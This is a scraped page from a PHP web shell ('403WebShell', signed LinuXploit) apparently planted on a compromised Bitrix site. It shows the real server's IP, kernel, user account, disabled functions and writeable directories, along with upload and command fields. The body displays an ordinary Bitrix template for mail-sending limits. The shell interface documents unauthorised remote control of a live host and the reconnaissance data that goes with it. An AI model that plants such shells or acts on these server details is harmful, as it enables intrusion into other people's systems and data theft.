%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.142.141
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.config.limits/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.config.limits/templates/.default//template.php
<?php
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Context;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Type\DateTime;
use Bitrix\Main\Web\Json;

/** @var CAllMain $APPLICATION */
/** @var array $arParams */
/** @var array $arResult */

$containerId = 'sender-start-container';
\Bitrix\UI\Toolbar\Facade\Toolbar::deleteFavoriteStar();
Bitrix\Main\UI\Extension::load(
	[
		'ui.buttons',
		'ui',
		'ui.notification',
	]
);
$sendingStartTime = strtotime($arResult['SENDING_START']);
$sendingEndTime = strtotime($arResult['SENDING_END']);
?>
<div id="<?=htmlspecialcharsbx($containerId)?>" class="sender-config-limits-wrap">

	<?php $counter = 0;?>
	<?php $active = false;?>
	<?php $defaultTab = null;?>
	<?foreach ($arResult['LIST'] as $item):?>
		<?php $active = false;?>
		<div class="sender-config-limits-box sender-type-tab" data-tab="<?=$item['CODE']?>">

			<?php
			if (0 == $counter++)
			{
				$active = true;
				$defaultTab = $item['CODE'];
			}

			$menuItems[] = [
				'NAME' => Loc::getMessage('SENDER_LIMIT_LEFT_MENU_' . mb_strtoupper($item['CODE'])  .'_LIMIT'),
				'ATTRIBUTES' => [
					'onclick' => "BX.Sender.Config.Limits.changeLeftMenuOption('".$item['CODE']."')",
				],
				'ACTIVE' => $active
			];
			?>

			<h4 class="sender-config-limits-title">
				<?=htmlspecialcharsbx($item['NAME'])?>

				<?if ($item['HELP_URI']):?>
					<span class="sender-config-limits-info">
						<?=(htmlspecialcharsbx($item['HELP_CAPTION']) ?:
								Loc::getMessage('SENDER_LIMIT_HELP', array(
									'%link_start%' => '<a href="' . htmlspecialcharsbx($item['HELP_URI']) . '" class="sender-config-limits-setup-link">',
									'%link_end%' => '</a>'
							))
						)?>
					</span>
				<?endif;?>
			</h4>
			<?foreach ($item['LIMITS'] as $limit):?>

				<div class="sender-config-limits-block">
					<?if ($limit['CAPTION']):?>
					<div class="sender-config-limits-subtitle">
						<?=htmlspecialcharsbx($limit['CAPTION'])?>
					</div>
					<?endif;?>

					<?if ($limit['TEXT_VIEW']):?>
						<span class="sender-config-limits-info-number"><?=htmlspecialcharsbx($limit['LIMIT'])?></span>
						<span class="sender-config-limits-info-name"><?=htmlspecialcharsbx($limit['UNIT_NAME'])?></span>
					<?else:?>

						<div class="sender-config-limits-head" style="margin-top: 5px;">
							<span class="sender-config-limits-head-left">
								<?=Loc::getMessage('SENDER_LIMIT')?>
							</span>
							<span class="sender-config-limits-head-right">
								<?=htmlspecialcharsbx($limit['UNIT_NAME'])?>
							</span>
						</div>
						<div
							<?if ($limit['PERCENTAGE']):?>
								data-role="percentage-context"
							<?endif;?>
							data-name="<?=htmlspecialcharsbx($limit['NAME'])?>"
							class="sender-config-limits-main"
						>
							<div class="sender-config-limits-available-box">
								<span class="sender-config-limits-available-left">
									<?=Loc::getMessage('SENDER_LIMIT_AVAILABLE')?>
								</span>
								<span data-role="percentage-available" class="sender-config-limits-available-right">
									<?=htmlspecialcharsbx($limit['AVAILABLE'])?>
								</span>
							</div>
							<div class="sender-config-limits-progress-line">
								<div
									class="sender-config-limits-progress-bar"
									style="width: <?=$limit['CURRENT_PERCENTAGE']?>%"
								></div>
								<?if ($limit['PERCENTAGE']):?>
									<div
										data-role="percentage-view"
										class="sender-config-limits-progress-slider"
										style="left: <?=htmlspecialcharsbx($limit['PERCENTAGE'])?>%;"
									>
										<div class="sender-config-limits-progress-popup">
											<span class="sender-config-limits-progress-percentage">
												<span data-role="percentage-text" class="sender-config-limits-progress-name">
													<?=htmlspecialcharsbx($limit['PERCENTAGE'])?>
												</span>
												%
											</span>
											<div data-role="percentage-input" class="sender-config-limits-progress-input-box">
												<input
													class="sender-config-limits-progress-input"
													type="number" min="10" max="100"
													style="width: 40px;"
													value="<?=htmlspecialcharsbx($limit['PERCENTAGE'])?>"
												>%
											</div>
											<?if ($arParams['CAN_EDIT']):?>
												<span data-role="percentage-edit" class="sender-config-limits-progress-button">
													<span class="sender-config-limits-progress-button-item"></span>
												</span>
												<div class="sender-config-limits-progress-triangle"></div>
											<?endif;?>
										</div>
									</div>
								<?endif;?>
							</div>

							<div class="sender-config-limits-bottom">
								<div class="sender-config-limits-bottom-left">
									<?=htmlspecialcharsbx($limit['CURRENT'])?>
								</div>
								<div class="sender-config-limits-bottom-right">
									<?=Loc::getMessage('SENDER_LIMIT_OF')?>
									<span data-role="percentage-limit">
										<?=htmlspecialcharsbx($limit['LIMIT'])?>
									</span>

									<?if ($limit['SETUP_URI']):?>
										<a href="<?=htmlspecialcharsbx($limit['SETUP_URI'])?>" class="sender-config-limits-setup-link">
											<?=htmlspecialcharsbx($limit['SETUP_CAPTION'] ?: Loc::getMessage('SENDER_LIMIT_SETUP'))?>
										</a>
									<?endif;?>
								</div>
							</div>

						</div>
					<?endif;?>
				</div>

			<?endforeach;?>
		</div>
	<?endforeach;?>

	<div class="sender-type-tab" data-tab="others">

		<h4 class="sender-config-limits-title">
			<?=htmlspecialcharsbx(Loc::getMessage('SENDER_SENDING_TIME_TITLE'))?>
		</h4>
		<div class="sender-config-limits-block">
			<div class="sender-config-limits-bottom">
				<div class="sender-config-limits-bottom-left">
					<label for="sender-sending-time-option">
						<input type="checkbox"
							<?php if ($arResult['SENDING_TIME']): ?>
								checked="checked"
							<?php endif;?>
							   class="sender-sending-time-option" id="sender-sending-time-option" />
						<?=Loc::getMessage('SENDER_SENDING_TIME_OPTION')?>
					</label>
				</div>
			</div>
			<div class="sender-sending-time-configuration-block">
				<div class="sender-config-limits-bottom-without-space sender-sending-time-view-block" >
					<div>
						<span class="sender-config-sending-time-caption">
							<span class="sender-sending-start-caption"><?=
								(new \DateTime())
									->setTimestamp($sendingStartTime)
									->format(Context::getCurrent()
										->getCulture()
										->getShortTimeFormat());
								?></span> - <span class="sender-sending-end-caption">
								<?= (new \DateTime())
									->setTimestamp($sendingEndTime)
									->format(Context::getCurrent()
										->getCulture()
										->getShortTimeFormat());
								?></span>
						</span>
						<a href="#/" class = 'sender-sending-time-edit-btn'>
							<?=Loc::getMessage('SENDER_LIMIT_SETUP')?>
						</a>
					</div>
				</div>
				<div class="sender-config-limits-bottom-without-space sender-sending-time-edit-block" style="display: none">
						<select class="bx-sender-form-control bx-sender-message-editor-field-select sender-sending-start">
							<?php for ($hour = 0; $hour < 24; $hour++):?>
								<?php foreach ([0, 30] as $minute):?>
									<?php $time = strtotime(sprintf("%02d:%02d", $hour, $minute)); ?>
									<?php
									$formatted = (new \DateTime())
										->setTimestamp($time)
										->format(Context::getCurrent()
											->getCulture()
											->getShortTimeFormat()
										);
									?>
									<option value='<?=$formatted?>' <?= ($time === $sendingStartTime ? "selected" : "")?>>
										<?=$formatted?>
									</option>
								<?php endforeach;?>
							<?php endfor;?>
						</select> -
						<select class="bx-sender-form-control bx-sender-message-editor-field-select sender-sending-end">
							<?php for ($hour = 0; $hour < 24; $hour++):?>
							<?php foreach ([0, 30] as $minute):?>
									<?php $time = strtotime(sprintf("%02d:%02d", $hour, $minute)); ?>
									<?php
									$formatted = (new \DateTime())
										->setTimestamp($time)
										->format(Context::getCurrent()
											->getCulture()
											->getShortTimeFormat()
										);
									?>
								<option value='<?=$formatted?>' <?= ($time === $sendingEndTime ? "selected" : "")?>>
								<?=$formatted?>
								</option>
							<?php endforeach;?>
							<?php endfor;?>
						</select>
						<button class="ui-btn ui-btn-success ui-btn-md sender-save-time-limit-configuration"><?=
							Loc::getMessage('SENDER_LIMIT_SAVE') ?></button>
					</div>
			</div>
		</div>

		<h4 class="sender-config-limits-title">
			<?=htmlspecialcharsbx(Loc::getMessage('SENDER_TRACK_MAIL_NAME'))?>

			<?if (Loc::getMessage('SENDER_TRACK_MAIL_HELP')):?>
				<span class="sender-config-limits-info">
							<?=(htmlspecialcharsbx($item['HELP_CAPTION']) ?:
								Loc::getMessage('SENDER_TRACK_MAIL_HELP', array(
									'%link_start%' => '<a href="javascript:top.BX.Helper.show(\'redirect=detail&code=13170876\')" class="sender-config-limits-setup-link">',
									'%link_end%' => '</a>'
								))
							)?>
						</span>
			<?endif;?>
		</h4>

		<div class="sender-config-limits-block">
			<div class="sender-config-limits-bottom">
				<div class="sender-config-limits-bottom-left">
					<label for="sender-track-mail-option">
						<input type="checkbox"
							<?php if ($arResult['CAN_TRACK_MAIL']): ?>
								checked="checked"
							<?php endif;?>
							class="sender-track-mail-option" id="sender-track-mail-option" />
						<?=Loc::getMessage('SENDER_TRACK_MAIL_OPTION')?>
					</label>
				</div>
			</div>
		</div>
		<?php if (!\Bitrix\Sender\Integration\Bitrix24\Service::isCloudRegionMayTrackMails()): ?>
			<h4 class="sender-config-limits-title">
				<?=htmlspecialcharsbx(Loc::getMessage('SENDER_MAIL_CONSENT_NAME'))?>

				<?php if (Loc::getMessage('SENDER_MAIL_CONSENT_HELP')):?>
					<span class="sender-config-limits-info">
								<?=(htmlspecialcharsbx($item['HELP_CAPTION']) ?:
									Loc::getMessage('SENDER_MAIL_CONSENT_HELP', array(
										'%link_start%' => '<a href="javascript:top.BX.Helper.show(\'redirect=detail&code=13170876\')" class="sender-config-limits-setup-link">',
										'%link_end%' => '</a>'
									))
								)?>
							</span>
				<?php endif;?>
			</h4>

			<div class="sender-config-limits-block">
				<div class="sender-config-limits-bottom">
					<div class="sender-config-limits-bottom-left">
						<label for="sender-mail-consent-option">
							<input type="checkbox"
								<?php if ($arResult['USE_MAIL_CONSENT']): ?>
									checked="checked"
								<?php endif;?>
									class="sender-mail-consent-option" id="sender-mail-consent-option" />
							<?=Loc::getMessage('SENDER_MAIL_CONSENT_OPTION')?>
						</label>
					</div>
				</div>
			</div>
		<?php endif;?>
	</div>
</div>
	<script type="text/javascript">
		BX.ready(function () {
			BX.Sender.Config.Limits.init(<?=Json::encode(array(
				'containerId' => $containerId,
				'actionUri' => $arResult['ACTION_URI'],
				'defaultTab' => !$defaultTab ? 'others' : $defaultTab,
				'mess' => array(
					'mailDailyLimit' => Loc::getMessage('SENDER_LIMIT_MAIL_DAILY_DESC'),
					'mailDailyLimitTitle' => Loc::getMessage('SENDER_LIMIT_MAIL_DAILY_DESC_TITLE'),
					'close' => Loc::getMessage('SENDER_LIMIT_BTN_CLOSE'),
					'success' => Loc::getMessage('SENDER_LIMIT_NOTIFICATION_SUCCESS'),
				)
			))?>);
		});
	</script>
<?php


$menuItems[] = [
	'NAME' => Loc::getMessage('SENDER_LIMIT_LEFT_MENU_ADDITIONAL_CONFIGURATION'),
	'ATTRIBUTES' => [
		'onclick' => "BX.Sender.Config.Limits.changeLeftMenuOption('others')",
		'data-role' => 'others',
	],
	'ACTIVE' => !$defaultTab
];

$APPLICATION->IncludeComponent(
	'bitrix:ui.sidepanel.wrappermenu',
	'',
	[
		'TITLE' => Loc::getMessage('SENDER_LIMIT_TITLE'),
		'ITEMS' => $menuItems,
	],
	$this->getComponent()
);

Youez - 2016 - github.com/yon3zu
LinuXploit